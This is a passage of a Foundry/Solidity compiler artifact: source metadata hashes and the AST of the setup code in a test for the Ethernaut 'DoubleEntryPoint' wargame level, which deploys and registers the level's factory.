nse":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/DetectionBot.sol":{"keccak256":"0x29b96534de1831d28a5f7ee010ab542cac0a70b901550202c0191739ae2dcb75","urls":["bzz-raw://38b60ee52ef3db90f0c53a404a57af243f9de3db58a6539000d3453bcf678665","dweb:/ipfs/QmbFn3HdcfKAPCcUfbzEwB7REu4Lh1CqyW82BD9a5Pg1yN"],"license":"MIT"},"src/levels/DoubleEntryPoint.sol":{"keccak256":"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31","urls":["bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6","dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih"],"license":"MIT"},"src/levels/DoubleEntryPointFactory.sol":{"keccak256":"0xd66e7129f3877896a170b73a74abcf004ae97c99f8422cb559a5b5f058b193f4","urls":["bzz-raw://50d2fb4d890f96581ca28fe9810c7dffdc2eef091e81a2584fa8c824ddaf4d15","dweb:/ipfs/QmTzWboptc2WjGQH4ShcN4XAkiaskScQ7fFtfgvMsWuSRq"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/DoubleEntryPoint.t.sol":{"keccak256":"0xb338ffd0ed2f296f1fcf0458a6c1ad4c152fd7ef85a9b489b28c7da606f9687b","urls":["bzz-raw://6aed56e8d0b53cc47d3213abaf51e7df0c38f5d24e0e25d8375dc5afdd8313a2","dweb:/ipfs/QmQ32jpbvjC5CU96HZZhDvYF7FVQ4EjA1xfzDyU1iW28uE"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/DoubleEntryPoint.t.sol","id":60433,"exportedSymbols":{"DetectionBot":[49248],"DoubleEntryPoint":[51850],"DoubleEntryPointFactory":[52080],"Ethernaut":[49101],"Forta":[51577],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestDoubleEntryPoint":[60432],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2099:127","nodes":[{"id":60231,"nodeType":"PragmaDirective","src":"32:23:127","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":60232,"nodeType":"ImportDirective","src":"57:28:127","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":60433,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":60234,"nodeType":"ImportDirective","src":"86:43:127","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":60433,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":60233,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:127","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60237,"nodeType":"ImportDirective","src":"131:72:127","nodes":[],"absolutePath":"src/levels/DoubleEntryPoint.sol","file":"src/levels/DoubleEntryPoint.sol","nameLocation":"-1:-1:-1","scope":60433,"sourceUnit":51851,"symbolAliases":[{"foreign":{"id":60235,"name":"DoubleEntryPoint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51850,"src":"139:16:127","typeDescriptions":{}},"nameLocation":"-1:-1:-1"},{"foreign":{"id":60236,"name":"Forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51577,"src":"157:5:127","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60239,"nodeType":"ImportDirective","src":"204:79:127","nodes":[],"absolutePath":"src/levels/DoubleEntryPointFactory.sol","file":"src/levels/DoubleEntryPointFactory.sol","nameLocation":"-1:-1:-1","scope":60433,"sourceUnit":52081,"symbolAliases":[{"foreign":{"id":60238,"name":"DoubleEntryPointFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52080,"src":"212:23:127","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60241,"nodeType":"ImportDirective","src":"284:58:127","nodes":[],"absolutePath":"src/attacks/DetectionBot.sol","file":"src/attacks/DetectionBot.sol","nameLocation":"-1:-1:-1","scope":60433,"sourceUnit":49249,"symbolAliases":[{"foreign":{"id":60240,"name":"DetectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49248,"src":"292:12:127","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60243,"nodeType":"ImportDirective","src":"343:48:127","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":60433,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":60242,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"351:5:127","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60245,"nodeType":"ImportDirective","src":"392:44:127","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":60433,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":60244,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"400:9:127","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":60432,"nodeType":"ContractDefinition","src":"438:1692:127","nodes":[{"id":60252,"nodeType":"VariableDeclaration","src":"489:19:127","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"499:9:127","scope":60432,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":60251,"nodeType":"UserDefinedTypeName","pathNode":{"id":60250,"name":"Ethernaut","nameLocations":["489:9:127"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"489:9:127"},"referencedDeclaration":49101,"src":"489:9:127","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":60255,"nodeType":"VariableDeclaration","src":"514:25:127","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"531:8:127","scope":60432,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"},"typeName":{"id":60254,"nodeType":"UserDefinedTypeName","pathNode":{"id":60253,"name":"DoubleEntryPoint","nameLocations":["514:16:127"],"nodeType":"IdentifierPath","referencedDeclaration":51850,"src":"514:16:127"},"referencedDeclaration":51850,"src":"514:16:127","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"visibility":"internal"},{"id":60257,"nodeType":"VariableDeclaration","src":"546:21:127","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"562:5:127","scope":60432,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":60256,"name":"address","nodeType":"ElementaryTypeName","src":"546:15:127","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":60259,"nodeType":"VariableDeclaration","src":"573:22:127","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"589:6:127","scope":60432,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":60258,"name":"address","nodeType":"ElementaryTypeName","src":"573:15:127","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":60361,"nodeType":"FunctionDefinition","src":"782:616:127","nodes":[],"body":{"id":60360,"nodeType":"Block","src":"806:592:127","nodes":[],"statements":[{"assignments":[60264],"declarations":[{"constant":false,"id":60264,"mutability":"mutable","name":"users","nameLocation":"841:5:127","nodeType":"VariableDeclaration","scope":60360,"src":"816:30:127","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":60262,"name":"address","nodeType":"ElementaryTypeName","src":"816:15:127","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60263,"nodeType":"ArrayTypeName","src":"816:17:127","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":60268,"initialValue":{"arguments":[{"hexValue":"32","id":60266,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"861:1:127","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":60265,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"849:11:127","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":60267,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"849:14:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"816:47:127"},{"expression":{"id":60273,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60269,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60257,"src":"874:5:127","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":60270,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60264,"src":"882:5:127","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":60272,"indexExpression":{"hexValue":"30","id":60271,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"888:1:127","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"882:8:127","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"874:16:127","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60274,"nodeType":"ExpressionStatement","src":"874:16:127"},{"expression":{"arguments":[{"id":60278,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60257,"src":"909:5:127","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":60279,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"916:7:127","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":60275,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"900:2:127","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60277,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"903:5:127","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"900:8:127","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":60280,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"900:24:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60281,"nodeType":"ExpressionStatement","src":"900:24:127"},{"expression":{"id":60286,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60282,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60259,"src":"935:6:127","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":60283,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60264,"src":"944:5:127","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":60285,"indexExpression":{"hexValue":"31","id":60284,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"950:1:127","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"944:8:127","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"935:17:127","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60287,"nodeType":"ExpressionStatement","src":"935:17:127"},{"expression":{"arguments":[{"id":60291,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60259,"src":"971:6:127","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":60292,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"979:8:127","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":60288,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"962:2:127","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60290,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"965:5:127","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"962:8:127","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":60293,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"962:26:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60294,"nodeType":"ExpressionStatement","src":"962:26:127"},{"expression":{"arguments":[{"id":60298,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60257,"src":"1013:5:127","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60295,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"999:2:127","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60297,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1002:10:127","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"999:13:127","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60299,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"999:20:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60300,"nodeType":"ExpressionStatement","src":"999:20:127"},{"expression":{"id":60305,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60301,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60252,"src":"1029:9:127","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":60303,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60257,"src":"1068:5:127","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":60302,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"1041:26:127","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":60304,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1041:33:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"1029:45:127","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":60306,"nodeType":"ExpressionStatement","src":"1029:45:127"},{"assignments":[60309],"declarations":[{"constant":false,"id":60309,"mutability":"mutable","name":"factory","nameLocation":"1108:7:127","nodeType":"VariableDeclaration","scope":60360,"src":"1084:31:127","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPointFactory_$52080","typeString":"contract DoubleEntryPointFactory"},"typeName":{"id":60308,"nodeType":"UserDefinedTypeName","pathNode":{"id":60307,"name":"DoubleEntryPointFactory","nameLocations":["1084:23:127"],"nodeType":"IdentifierPath","referencedDeclaration":52080,"src":"1084:23:127"},"referencedDeclaration":52080,"src":"1084:23:127","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPointFactory_$52080","typeString":"contract DoubleEntryPointFactory"}},"visibility":"internal"}],"id":60314,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":60312,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1118:27:127","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_DoubleEntryPointFactory_$52080_$","typeString":"function () returns (contract DoubleEntryPointFactory)"},"typeName":{"id":60311,"nodeType":"UserDefinedTypeName","pathNode":{"id":60310,"name":"DoubleEntryPointFactory","nameLocations":["1122:23:127"],"nodeType":"IdentifierPath","referencedDeclaration":52080,"src":"1122:23:127"},"referencedDeclaration":52080,"src":"1122:23:127","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPointFactory_$52080","typeString":"contract DoubleEntryPointFactory"}}},"id":60313,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1118:29:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPointFactory_$52080","typeString":"contract DoubleEntryPointFactory"}},"nodeType":"VariableDeclarationStatement","src":"1084:63:127"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":60321,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60309,"src":"1195:7:127","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPointFactory_$52080","typeString":"contract DoubleEntryPointFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DoubleEntryPointFactory_$52080","typeString":"contract DoubleEntryPointFactory"}],"id":60320,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1187:7:127","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60319,"name":"address","nodeType":"ElementaryTypeName","src":"1187:7:127","typeDescriptions":{}}},"id":60322,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1187:16:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60318,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1181:5:127","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":60323,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1181:23:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":60315,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60252,"src":"1157:9:127","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":60317,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1167:13:127","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1157:23:127","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":60324,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1157:48:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60325,"nodeType":"ExpressionStatement","src":"1157:48:127"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60326,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1215:2:127","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60328,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1218:9:127","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1215:12:127","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60329,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1215:14:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60330,"nodeType":"ExpressionStatement","src":"1215:14:127"},{"expression":{"arguments":[{"id":60334,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60259,"src":"1254:6:127","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60331,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1240:2:127","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60333,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1243:10:127","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1240:13:127","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) 